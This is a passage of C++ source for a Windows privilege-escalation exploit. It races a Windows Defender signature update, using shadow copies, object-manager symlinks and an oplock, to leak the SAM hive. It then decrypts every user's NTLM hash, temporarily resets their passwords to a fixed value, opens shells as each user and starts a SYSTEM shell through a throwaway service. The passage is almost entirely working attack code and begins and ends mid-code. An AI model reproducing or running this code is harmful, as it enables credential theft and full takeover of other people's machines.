SamHandle))GetProcAddress(hm, "SamCloseHandle"); NTSTATUS(WINAPI * _SamOpenDomain)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle) = (NTSTATUS(WINAPI*)(IN HANDLE SamHandle, IN ACCESS_MASK DesiredAccess, IN PSID DomainId, OUT HANDLE * DomainHandle))GetProcAddress(hm, "SamOpenDomain"); NTSTATUS(WINAPI * _SamOpenUser)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle) = (NTSTATUS(WINAPI*)(IN HANDLE DomainHandle, IN ACCESS_MASK DesiredAccess, IN DWORD UserId, OUT HANDLE * UserHandle))GetProcAddress(hm, "SamOpenUser"); NTSTATUS(WINAPI * _SamiChangePasswordUser)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM) = (NTSTATUS(WINAPI*)(IN HANDLE UserHandle, IN BOOL isOldLM, IN const BYTE * oldLM, IN const BYTE * newLM, IN BOOL isNewNTLM, IN const BYTE * oldNTLM, IN const BYTE * newNTLM))GetProcAddress(hm, "SamiChangePasswordUser"); if (!_SamConnect || !_SamCloseHandle || !_SamOpenDomain || !_SamOpenUser || !_SamiChangePasswordUser) { printf("Failed to import required functions from samlib.dll\n"); return false; } HANDLE hsrv = NULL; NTSTATUS stat = _SamConnect(NULL, &hsrv, MAXIMUM_ALLOWED, false); if (stat) { printf("Failed to connect to SAM, error : 0x%0.8X\n", stat); return false; } //printf("Connected to local SAM.\n"); LSA_OBJECT_ATTRIBUTES loa = { 0 }; LSA_HANDLE hlsa = NULL; stat = LsaOpenPolicy(NULL, &loa, MAXIMUM_ALLOWED, &hlsa); if (stat) { printf("LsaOpenPolicy failed, error : 0x%0.8X\n", stat); return false; } POLICY_ACCOUNT_DOMAIN_INFO* domaininfo = 0; stat = LsaQueryInformationPolicy(hlsa, PolicyAccountDomainInformation, (PVOID*)&domaininfo); if (stat) { printf("LsaQueryInformationPolicy failed, error : 0x%0.8X\n", stat); return false; } /*wchar_t* stringsid = 0; if (!ConvertSidToStringSid(domaininfo->DomainSid, &stringsid)) { printf("Failed to get string sid, error : %d\n", GetLastError()); return false; } printf("Machine SID : %ws\n", stringsid);*/ LSA_REFERENCED_DOMAIN_LIST* lsareflist = 0; LSA_TRANSLATED_SID* lsatrans = 0; LSA_UNICODE_STRING lsaunistr = { 0 }; RtlInitUnicodeString((PUNICODE_STRING)&lsaunistr, username); stat = LsaLookupNames(hlsa, 1, &lsaunistr, &lsareflist, &lsatrans); if (stat) { printf("LsaLookupNames failed, error : 0x%0.8X\n", stat); return false; } LsaClose(hlsa); HANDLE hdomain = NULL; stat = _SamOpenDomain(hsrv, MAXIMUM_ALLOWED, domaininfo->DomainSid, &hdomain); if (stat) { printf("SamOpenDomain failed, error : 0x%0.8X\n", stat); return false; } HANDLE huser = NULL; stat = _SamOpenUser(hdomain, MAXIMUM_ALLOWED, lsatrans->RelativeId, &huser); if (stat) { printf("SamOpenUser failed, error : 0x%0.8X\n", stat); return false; } //char password[] = "testp"; //char* oldNTLM = CalculateNTLMHash((char*)"testp"); char* oldNTLM = (char*)nthash; char* newNTLM = newNTLMHash ? newNTLMHash : CalculateNTLMHash(newpassword); char oldLm[16] = { 0 }; char newLm[16] = { 0 }; stat = _SamiChangePasswordUser(huser, false, (BYTE*)oldLm, (BYTE*)newLm, true, (BYTE*)oldNTLM, (BYTE*)newNTLM); if (stat) { printf("SamiChangePasswordUser failed, error : 0x%0.8X\n", stat); return false; } _SamCloseHandle(huser); _SamCloseHandle(hdomain); _SamCloseHandle(hsrv); /* if (newpassword) { printf("Info : user \"%ws\" password has changed to %s\n", username, newpassword); } else { printf("Info : user \"%ws\" password has been changed back to older password\n", username); } */ return true; } ////////////////////////////////////////////////////////////////////// // SAM handling end ///////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////// // Exploit shell spawn start ///////////////////////////////////////////////////////////////////// BOOL SetPrivilege( HANDLE hToken, // access token handle LPCTSTR lpszPrivilege, // name of privilege to enable/disable BOOL bEnablePrivilege // to enable or disable privilege ) { TOKEN_PRIVILEGES tp; LUID luid; if (!LookupPrivilegeValue( NULL, // lookup privilege on local system lpszPrivilege, // privilege to lookup &luid)) // receives LUID of privilege { printf("LookupPrivilegeValue error: %u\n", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if (bEnablePrivilege) tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; else tp.Privileges[0].Attributes = 0; // Enable the privilege or disable all privileges. if (!AdjustTokenPrivileges( hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("AdjustTokenPrivileges error: %u\n", GetLastError()); return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { printf("The token does not have the specified privilege. \n"); return FALSE; } return TRUE; } bool DoSpawnShellAsAllUsers(HANDLE samfile) { //SSL_library_init(); //SSL_load_error_strings(); char newpassword[] = "$PWNed666!!!WDFAIL"; wchar_t newpassword_unistr[] = L"$PWNed666!!!WDFAIL"; char* newNTLM = CalculateNTLMHash(newpassword); bool isadmin = false; char* retval = 0; ORHKEY hSAMhive = NULL; ORHKEY hSYSTEMhive = NULL; DWORD err = OROpenHiveByHandle(samfile, &hSAMhive); bool systemshelllaunched = false; if (err) { printf("OROpenHive failed with error : %d\n", err); return false; } unsigned char lsakey[16] = { 0 }; if (!GetLSASecretKey(lsakey)) { printf("Failed to dump LSA secret keys.\n"); return false; } ORHKEY hkey = NULL; err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account", &hkey); DWORD valuesz = 0; err = ORGetValue(hkey, NULL, L"F", NULL, NULL, &valuesz); if (err) { printf("ORGetValue failed with error : %d\n", err); return false; } char* samkey = (char*)malloc(valuesz); err = ORGetValue(hkey, NULL, L"F", NULL, samkey, &valuesz); if (err) { printf("ORGetValue failed with error : %d\n", err); return false; } ORCloseKey(hkey); /////////////////////////////////////////////////////////// int passwordEncryptionKeysz = 0; char* passwordEncryptionKey = (char*)UnprotectPasswordEncryptionKey(samkey, lsakey, &passwordEncryptionKeysz); err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account\\Users", &hkey); if (err) { printf("OROpenKey failed with error : %d\n", err); return false; } DWORD subkeys = NULL; err = ORQueryInfoKey(hkey, NULL, NULL, &subkeys, NULL, NULL, NULL, NULL, NULL, NULL, NULL); if (err) { printf("ORQueryInfoKey failed with error : %d\n", err); return false; } PwdEnc** pwdenclist = (PwdEnc**)malloc(sizeof(PwdEnc*) * subkeys); int numofentries = 0; for (int i = 0; i < subkeys; i++) { DWORD keynamesz = 0x100; wchar_t keyname[0x100] = { 0 }; err = OREnumKey(hkey, i, keyname, &keynamesz, NULL, NULL, NULL); if (err) { printf("OREnumKey failed with error : %d\n", err); return false; } if (_wcsicmp(keyname, L"users") == 0) continue; ORHKEY hkey2 = NULL; err = OROpenKey(hkey, keyname, &hkey2); if (err) { printf("OROpenKey failed with error : %d\n", err); return false; } DWORD valuesz = 0; err = ORGetValue(hkey2, NULL, L"V", NULL, NULL, &valuesz); if (err == ERROR_FILE_NOT_FOUND) continue; if (err != ERROR_MORE_DATA && err != ERROR_SUCCESS) { printf("ORGetValue failed with error : %d\n", err); return false; } PwdEnc* SAMpwd = (PwdEnc*)malloc(sizeof(PwdEnc)); ZeroMemory(SAMpwd, sizeof(PwdEnc)); SAMpwd->sz = valuesz; SAMpwd->buff = (char*)malloc(valuesz); ZeroMemory(SAMpwd->buff, valuesz); err = ORGetValue(hkey2, NULL, L"V", NULL, SAMpwd->buff, &valuesz); if (err) { printf("ORGetValue failed with error : %d\n", err); return false; } SAMpwd->rid = wcstoul(keyname, NULL, 16); ULONG* accnameoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_OFFSET]; SAMpwd->username = (wchar_t*)RtlOffsetToPointer(SAMpwd->buff, *accnameoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); ULONG* usernamesz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_USERNAME_LENGTH_OFFSET]; SAMpwd->usernamesz = *usernamesz; ULONG* LMhashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_OFFSET]; SAMpwd->LMHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *LMhashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); ULONG* LMhashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_LM_HASH_LENGTH_OFFSET]; SAMpwd->LMHashLenght = *LMhashsz; ULONG* NTHashoffset = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_OFFSET]; SAMpwd->NTHash = (char*)RtlOffsetToPointer(SAMpwd->buff, *NTHashoffset + SAM_DATABASE_DATA_ACCESS_OFFSET); ULONG* NThashsz = (ULONG*)&SAMpwd->buff[SAM_DATABASE_NT_HASH_LENGTH_OFFSET]; SAMpwd->NTHashLenght = *NThashsz; pwdenclist[i] = SAMpwd; numofentries++; } wchar_t currentusername[UNLEN + 1] = { 0 }; DWORD usernamesz = sizeof(currentusername) / sizeof(wchar_t); if (!GetUserName(currentusername, &usernamesz)) { printf("Failed to get current user name, error : %d", GetLastError()); return false; } for (int i = 0; i < numofentries; i++) { PwdEnc* samentry = pwdenclist[i]; int realNTLMHashsz = 0; char* realNTLMHash = (char*)UnprotectNTHash(passwordEncryptionKey, passwordEncryptionKeysz, samentry->NTHash, samentry->NTHashLenght, &realNTLMHashsz, samentry->rid); char* stringntlm = 0; char emptyrepresentation[] = "{NULL}"; if (realNTLMHashsz) { stringntlm = (char*)HexToHexString((unsigned char*)realNTLMHash, realNTLMHashsz); } else { stringntlm = emptyrepresentation; } wchar_t username[UNLEN + 1] = { 0 }; if (samentry->usernamesz <= sizeof(username)) { memmove(username, samentry->username, samentry->usernamesz); } printf("******************************************\n"); printf(" User : %ws\n RID : %d\n NTLM : %s\n", username, samentry->rid, stringntlm); if (realNTLMHash == NULL || realNTLMHashsz == 0) { printf(" Skip : NULL NTLM.\n"); continue; } if (_wcsicmp(username, currentusername) == 0) { printf(" Skip : Current User.\n"); continue; } if (_wcsicmp(username, L"WDAGUtilityAccount") == 0) { printf(" Skip : WDAGUtilityAccount detected.\n"); continue; } retval = realNTLMHash; if (ChangeUserPassword(username, realNTLMHash, NULL,newNTLM)) { printf(" NewPasswordSet : OK.\n"); HANDLE htoken = NULL; PSID logonsid = 0; if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &htoken, &logonsid, NULL, NULL, NULL)) { printf("LogonUserEx failed, error : %d\n", GetLastError()); } if (!systemshelllaunched) { TOKEN_ELEVATION_TYPE tokentype; DWORD retsz = 0; if (!GetTokenInformation(htoken, TokenElevationType, &tokentype, sizeof(tokentype), &retsz)) { printf("GetTokenInformation failed with error : %d\n", GetLastError()); } if (tokentype == TokenElevationTypeLimited) { TOKEN_LINKED_TOKEN linkedtoken = { 0 }; if (!GetTokenInformation(htoken, TokenLinkedToken, &linkedtoken, sizeof(TOKEN_LINKED_TOKEN), &retsz)) { printf("GetTokenInformation failed with error : %d\n", GetLastError()); } HANDLE hdup = linkedtoken.LinkedToken; DWORD sidsz = MAX_SID_SIZE; PSID administratorssid = malloc(sidsz); if (!CreateWellKnownSid(WinBuiltinAdministratorsSid, NULL, administratorssid, &sidsz)) { printf("Failed to create well known sid, error : %d\n", GetLastError()); } if (!CheckTokenMembership(hdup, administratorssid, (PBOOL)&isadmin)) { printf("CheckTokenMembership failed with error : %d\n", GetLastError()); } free(administratorssid); CloseHandle(hdup); } if (isadmin) { printf(" IsAdmin : TRUE\n"); HANDLE htoken2 = NULL; if (!LogonUserEx(username, NULL, newpassword_unistr, LOGON32_LOGON_BATCH, LOGON32_PROVIDER_DEFAULT, &htoken2, &logonsid, NULL, NULL, NULL)) { printf("LogonUserEx failed, error : %d\n", GetLastError()); } //SetPrivilege(htoken2, SE_DEBUG_NAME, TRUE); const wchar_t sid_string[] = L"S-1-16-8192"; TOKEN_MANDATORY_LABEL integrity; PSID sid = NULL; ConvertStringSidToSidW(sid_string, &sid); ZeroMemory(&integrity, sizeof(integrity)); integrity.Label.Attributes = SE_GROUP_INTEGRITY; integrity.Label.Sid = sid; if (SetTokenInformation(htoken2, TokenIntegrityLevel, &integrity, sizeof(integrity) + GetLengthSid(sid)) == 0) { wprintf(L"ERROR[SetTokenInformation]: %d\n", GetLastError()); } LocalFree(sid); //CloseHandle(htoken2); ImpersonateLoggedOnUser(htoken2); SC_HANDLE hmgr = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE); if (!hmgr) { printf("OpenSCManager failed with error : %d", GetLastError()); } GUID uid = { 0 }; RPC_WSTR wuid = { 0 }; wchar_t* wuid2 = 0; UuidCreate(&uid); UuidToStringW(&uid, &wuid); wuid2 = (wchar_t*)wuid; wchar_t binpath[MAX_PATH] = { 0 }; GetModuleFileName(GetModuleHandle(NULL), binpath, MAX_PATH); wchar_t servicecmd[MAX_PATH] = { 0 }; DWORD currentsesid = 0; ProcessIdToSessionId(GetCurrentProcessId(), ¤tsesid); wsprintf(servicecmd, L"\"%s\" %d", binpath, currentsesid); SC_HANDLE hsvc = CreateService(hmgr, wuid2, wuid2, GENERIC_ALL, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, servicecmd, NULL, NULL, NULL, NULL, NULL); if (!hsvc) { printf("CreateService Failed with error : %d\n", GetLastError()); } else { printf(" SYSTEMShell : OK.\n"); } StartService(hsvc, NULL, NULL); Sleep(100); DeleteService(hsvc); CloseServiceHandle(hsvc); CloseServiceHandle(hmgr); RevertToSelf(); CloseHandle(htoken2); systemshelllaunched = true; } else { printf(" IsAdmin : FALSE\n"); } } STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; if (!CreateProcessWithLogonW(username, NULL, newpassword_unistr, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\conhost.exe", NULL, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi)) { printf(" Shell : Error %d\n", GetLastError()); } else { printf(" Shell : OK.\n"); if (pi.hProcess) CloseHandle(pi.hProcess); if (pi.hThread) CloseHandle(pi.hThread); } if (!ChangeUserPassword(username, newNTLM, NULL, realNTLMHash)) { printf(" PasswordRestore : Error %d\n", GetLastError()); } else { printf(" PasswordRestore : OK.\n"); } CloseHandle(htoken); } // __debugbreak(); } ORCloseHive(hSAMhive); printf("******************************************\n"); free(newNTLM); return true; } bool IsRunningAsLocalSystem() { HANDLE htoken = NULL; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) { printf("OpenProcessToken failed, error : %d\n", GetLastError()); return false; } TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER)); DWORD retsz = 0; bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz); CloseHandle(htoken); if (!res) return false; return IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid); } void LaunchConsoleInSessionId(DWORD sessionid) { HANDLE htoken = NULL; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken)) return; SetPrivilege(htoken, SE_TCB_NAME, TRUE); SetPrivilege(htoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE); SetPrivilege(htoken, SE_IMPERSONATE_NAME, TRUE); SetPrivilege(htoken, SE_DEBUG_NAME, TRUE); HANDLE hnewtoken = NULL; bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken); CloseHandle(htoken); if (!res) return; res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD)); if (!res) { CloseHandle(hnewtoken); return; } STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi); CloseHandle(hnewtoken); if (pi.hProcess) CloseHandle(pi.hProcess); if (pi.hThread) CloseHandle(pi.hThread); return; } ////////////////////////////////////////////////////////////////////// // Exploit shell spawn end ///////////////////////////////////////////////////////////////////// int wmain(int argc, wchar_t* argv[]) { if (IsRunningAsLocalSystem()) { printf("Running as local system.\n"); if (argc == 2) { DWORD sessionid = _wtoi(argv[1]); if (sessionid) { printf("Session id : %d\n", sessionid); LaunchConsoleInSessionId(sessionid); } } return 0; } DWORD _sesid = 0; ProcessIdToSessionId(GetCurrentProcessId(), &_sesid); const wchar_t* filestoleak[] = { {L"\\Windows\\System32\\Config\\SAM"} /*,{L"\\Windows\\System32\\Config\\SYSTEM"},{L"\\Windows\\System32\\Config\\SECURITY"}*/ }; wchar_t fullvsspath[MAX_PATH] = { 0 }; HANDLE hreleaseready = NULL; wchar_t updtitle[0x200] = { 0 }; wchar_t targetfile[MAX_PATH] = { 0 }; wchar_t nttargetfile[MAX_PATH] = { 0 }; HANDLE htransaction = NULL; wchar_t* filestodel[100] = { 0 }; HINTERNET hint = NULL; HINTERNET hint2 = NULL; char data[0x1000] = { 0 }; DWORD index = 0; DWORD sz = sizeof(data); bool res2 = 0; wchar_t filesz[50] = { 0 }; LARGE_INTEGER li = { 0 }; GUID uid = { 0 }; RPC_WSTR wuid = { 0 }; wchar_t* wuid2 = 0; wchar_t envstr[MAX_PATH] = { 0 }; wchar_t mpampath[MAX_PATH] = { 0 }; HANDLE hmpap = NULL; void* exebuff = NULL; DWORD readsz = 0; HANDLE hmapping = NULL; void* mappedbuff = NULL; HRSRC hres = NULL; DWORD ressz = NULL; HGLOBAL cabbuff = NULL; wchar_t cabpath[MAX_PATH] = { 0 }; wchar_t updatepath[MAX_PATH] = { 0 }; HANDLE hcab = NULL; ERF erfstruct = { 0 }; HFDI hcabctx = NULL; char _updatepath[MAX_PATH] = { 0 }; bool extractres = false; char buff[0x1000] = { 0 }; DWORD retbytes = 0; DWORD tid = 0; HANDLE hthread = NULL; WDRPCWorkerThreadArgs threadargs = { 0 }; HANDLE hcurrentthread = NULL; HANDLE hdir = NULL; wchar_t newdefupdatedirname[MAX_PATH] = { 0 }; wchar_t updatelibpath[MAX_PATH] = { 0 }; UNICODE_STRING unistrupdatelibpath = { 0 }; OBJECT_ATTRIBUTES objattr = { 0 }; IO_STATUS_BLOCK iostat = { 0 }; HANDLE hupdatefile = NULL; UNICODE_STRING objlinkname = { 0 }; UNICODE_STRING objlinktarget = { 0 }; NTSTATUS ntstat = 0; OVERLAPPED ovd = { 0 }; DWORD transfersz = 0; wchar_t newname[MAX_PATH] = { 0 }; DWORD renstructsz = 0; size_t targetsz = 0; size_t printnamesz = 0; size_t pathbuffersz = 0; size_t totalsz = 0; REPARSE_DATA_BUFFER* rdb = 0; DWORD cb = 0; OVERLAPPED ov = { 0 }; bool ret = false; DWORD retsz = 0; HANDLE hleakedfile = NULL; HANDLE hobjlink = NULL; LARGE_INTEGER _filesz = { 0 }; OVERLAPPED ovd2 = { 0 }; DWORD __readsz = 0; void* leakedfilebuff = 0; bool filelocked = false; bool needcabcleanup = false; bool dirmoved = false; bool needupdatedircleanup = false; UpdateFiles* UpdateFilesList = NULL; UpdateFiles* UpdateFilesListCurrent = NULL; bool isvssready = false; bool criterr = false; HANDLE hobjworkdir = NULL; HANDLE hsymlink = NULL; wchar_t objdirpath[MAX_PATH] = { 0 }; try { printf("Checking for windows defender signature updates...\n"); while (!CheckForWDUpdates(updtitle, &criterr)){ if (criterr) goto cleanup; printf("No updates found for windows defender. Recheking in 30 seconds...\n"); Sleep(30000); } printf("Found Update : \n%ws\n", updtitle); UpdateFilesList = GetUpdateFiles(); if (!UpdateFilesList) { goto cleanup; } printf("Updates downloaded.\n"); printf("Creating VSS copy...\n"); hreleaseready = CreateEvent(NULL, FALSE, FALSE, NULL); if (!hreleaseready) { printf("Failed to create event error : %d\n", GetLastError()); goto cleanup; } isvssready = TriggerWDForVS(hreleaseready, fullvsspath); if (!isvssready) goto cleanup; for (int x = 0; x < sizeof(filestoleak) / sizeof(wchar_t*); x++) { ZeroMemory(objdirpath, sizeof(objdirpath)); UpdateFilesListCurrent = UpdateFilesList; UuidCreate(&uid); UuidToStringW(&uid, &wuid); wuid2 = (wchar_t*)wuid; wcscpy(envstr, L"%TEMP%\\"); wcscat(envstr, wuid2); { OBJECT_ATTRIBUTES ndirobjattr = { 0 }; UNICODE_STRING objdirunistr = { 0 }; wnsprintf(objdirpath, MAX_PATH, L"\\Sessions\\%d\\BaseNamedObjects\\%s", _sesid, wuid2); RtlInitUnicodeString(&objdirunistr, objdirpath); InitializeObjectAttributes(&ndirobjattr, &objdirunistr, OBJ_CASE_INSENSITIVE, NULL, NULL); ntstat = _NtCreateDirectoryObjectEx(&hobjworkdir, GENERIC_ALL, &ndirobjattr,NULL,NULL); if (ntstat) { printf("NtCreateDirectoryObjectEx Failed : 0x%0.8X\n", ntstat); goto cleanup; } } ExpandEnvironmentStrings(envstr, updatepath, MAX_PATH); needupdatedircleanup = CreateDirectory(updatepath, NULL); if (!needupdatedircleanup) { printf("Failed to create update directory, error : %d", GetLastError()); goto cleanup; } printf("Created update directory %ws\n", updatepath); { UNICODE_STRING _unisrc = { 0 }; RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory"); OBJECT_ATTRIBUTES _smobjattr = { 0 }; InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL); UNICODE_STRING _unidest = { 0 }; wchar_t unidest[MAX_PATH] = { 0 }; wcscpy(unidest, L"\\??\\"); wcscat(unidest, updatepath); RtlInitUnicodeString(&_unidest, unidest); ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest); if (ntstat) { printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat); goto cleanup; } } while (UpdateFilesListCurrent) { wchar_t filepath[MAX_PATH] = { 0 }; wchar_t filename[MAX_PATH] = { 0 }; wcscpy(filepath, updatepath); wcscat(filepath, L"\\"); MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, filename, MAX_PATH); wcscat(filepath, filename); HANDLE hupdate = CreateFile(filepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, NULL, NULL); if (!hupdate || hupdate == INVALID_HANDLE_VALUE) { printf("Failed to create update file, error : %d", GetLastError()); goto cleanup; } UpdateFilesListCurrent->filecreated = true; DWORD writtenbytes = 0; if (!WriteFile(hupdate, UpdateFilesListCurrent->filebuff, UpdateFilesListCurrent->filesz, &writtenbytes, NULL)) { printf("Failed to write update file, error : %d", GetLastError()); CloseHandle(hupdate); goto cleanup; } CloseHandle(hupdate); printf("Created update file : %ws\n", filepath); UpdateFilesListCurrent = UpdateFilesListCurrent->next; } hdir = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL); if (!hdir || hdir == INVALID_HANDLE_VALUE) { printf("Failed to open definition updates directory, error : %d", GetLastError()); goto cleanup; } hcurrentthread = OpenThread(THREAD_ALL_ACCESS, NULL, GetCurrentThreadId()); if (!hcurrentthread) { printf("Unexpected error while opening current thread, error : %d", GetLastError()); goto cleanup; } wchar_t thrdupdpath[MAX_PATH] = { 0 }; wsprintf(thrdupdpath, L"\\\\?\\GLOBALROOT\\Sessions\\%d\\BaseNamedObjects\\%s\\WDUpdateDirectory", _sesid, wuid2); threadargs.dirpath = thrdupdpath; threadargs.hntfythread = hcurrentthread; threadargs.hevent = CreateEvent(NULL, FALSE, FALSE, NULL); hthread = CreateThread(NULL, NULL, WDCallerThread, (LPVOID)&threadargs, NULL, &tid); printf("Waiting for windows defender to create a new definition update directory...\n"); wcscpy(newdefupdatedirname, L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\"); do { ZeroMemory(buff, sizeof(buff)); OVERLAPPED od = { 0 }; od.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); ReadDirectoryChangesW(hdir, buff, sizeof(buff), TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &retbytes, &od, NULL); HANDLE events[2] = { od.hEvent, threadargs.hevent }; if (WaitForMultipleObjects(2, events, FALSE, INFINITE) - WAIT_OBJECT_0) { printf("ServerMpUpdateEngineSignature ALPC call ended unexpectedly, RPC_STATUS : 0x%0.8X\n", threadargs.res); goto cleanup; } CloseHandle(od.hEvent); PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff; if (pfni->Action != FILE_ACTION_ADDED) continue; wcscat(newdefupdatedirname, pfni->FileName); break; } while (1); printf("Detected new definition update directory in %ws\n", newdefupdatedirname); wcscpy(updatelibpath, L"\\??\\"); wcscat(updatelibpath, updatepath); wcscat(updatelibpath, L"\\mpasbase.vdm"); RtlInitUnicodeString(&unistrupdatelibpath, updatelibpath); InitializeObjectAttributes(&objattr, &unistrupdatelibpath, OBJ_CASE_INSENSITIVE, NULL, NULL); ntstat = NtCreateFile(&hupdatefile, GENERIC_READ | DELETE | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL); if (ntstat) { printf("Failed to open update library, ntstatus : 0x%0.8X", ntstat); goto cleanup; } printf("Setting oplock on %ws\n", updatelibpath); ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); DeviceIoControl(hupdatefile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd); if (GetLastError() != ERROR_IO_PENDING) { printf("Failed to request a batch oplock on the update file, error : %d", GetLastError()); goto cleanup; } printf("Waiting for oplock to trigger...\n"); GetOverlappedResult(hupdatefile, &ovd, &transfersz, TRUE); printf("oplock triggered !\n"); CloseHandle(hsymlink); { UNICODE_STRING _unisrc = { 0 }; RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory"); OBJECT_ATTRIBUTES _smobjattr = { 0 }; InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL); UNICODE_STRING _unidest = { 0 }; RtlInitUnicodeString(&_unidest, objdirpath); ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest); if (ntstat) { printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat); goto cleanup; } RtlInitUnicodeString(&objlinkname, L"mpasbase.vdm"); ZeroMemory(nttargetfile, sizeof(nttargetfile)); wcscpy(nttargetfile, fullvsspath); wcscat(nttargetfile, filestoleak[x]); RtlInitUnicodeString(&objlinktarget, nttargetfile); InitializeObjectAttributes(&objattr, &objlinkname, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL); ntstat = _NtCreateSymbolicLinkObject(&hobjlink, GENERIC_ALL, &objattr, &objlinktarget); if (ntstat) { printf("Failed to create object manager symbolic link, error : 0x%0.8X\n", ntstat); goto cleanup; } } CloseHandle(ov.hEvent); ov.hEvent = NULL; CloseHandle(ovd.hEvent); ovd.hEvent = NULL; CloseHandle(hupdatefile); hupdatefile = NULL; wcscat(newdefupdatedirname, L"\\mpasbase.vdm"); htransaction = CreateTransaction(NULL, NULL, TRANSACTION_DO_NOT_PROMOTE, NULL, NULL, NULL, NULL); if (!htransaction) { printf("Failed to open leaked file.\n"); goto cleanup; } do { hleakedfile = CreateFileTransacted(newdefupdatedirname, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL,htransaction,NULL,NULL); } while (hleakedfile == INVALID_HANDLE_VALUE || !hleakedfile); printf("Leaked file opened %ws\n", newdefupdatedirname); CloseHandle(hdir); hdir = NULL; CloseHandle(hobjlink); hobjlink = NULL; printf("Exploit succeeded.\n"); SetEvent(hreleaseready); DoSpawnShellAsAllUsers(hleakedfile); CloseHandle(hleakedfile); hleakedfile = NULL; RollbackTransaction(htransaction); CloseHandle(htransaction); htransaction = NULL; WaitForSingleObject(hthread, INFINITE); CloseHandle(hthread); hthread = NULL; } } catch (int exception) { goto cleanup; } cleanup: if(hint) InternetCloseHandle(hint); if(hint) InternetCloseHandle(hint2); if (exebuff) free(exebuff); if(mappedbuff) UnmapViewOfFile(mappedbuff); if (hmapping) CloseHandle(hmapping); if (hcabctx) FDIDestroy(hcabctx); if (hdir) CloseHandle(hdir); if (rdb) HeapFree(GetProcessHeap(), NULL, rdb); if (ov.hEvent) CloseHandle(ov.hEvent); if (ovd.hEvent) CloseHandle(ovd.hEvent); if (hreleaseready) { SetEvent(hreleaseready); Sleep(1000); CloseHandle(hreleaseready); } if (hleakedfile) { if (filelocked) UnlockFile(hleakedfile, NULL, NULL, NULL, NULL); CloseHandle(hleakedfile); } if (leakedfilebuff) free(leakedfilebuff); if (hcurrentthread) CloseHandle(hcurrentthread); if (needupdatedircleanup) { wchar_t dirtoclean[MAX_PATH] = { 0 }; wcscpy(dirtoclean, updatepath); 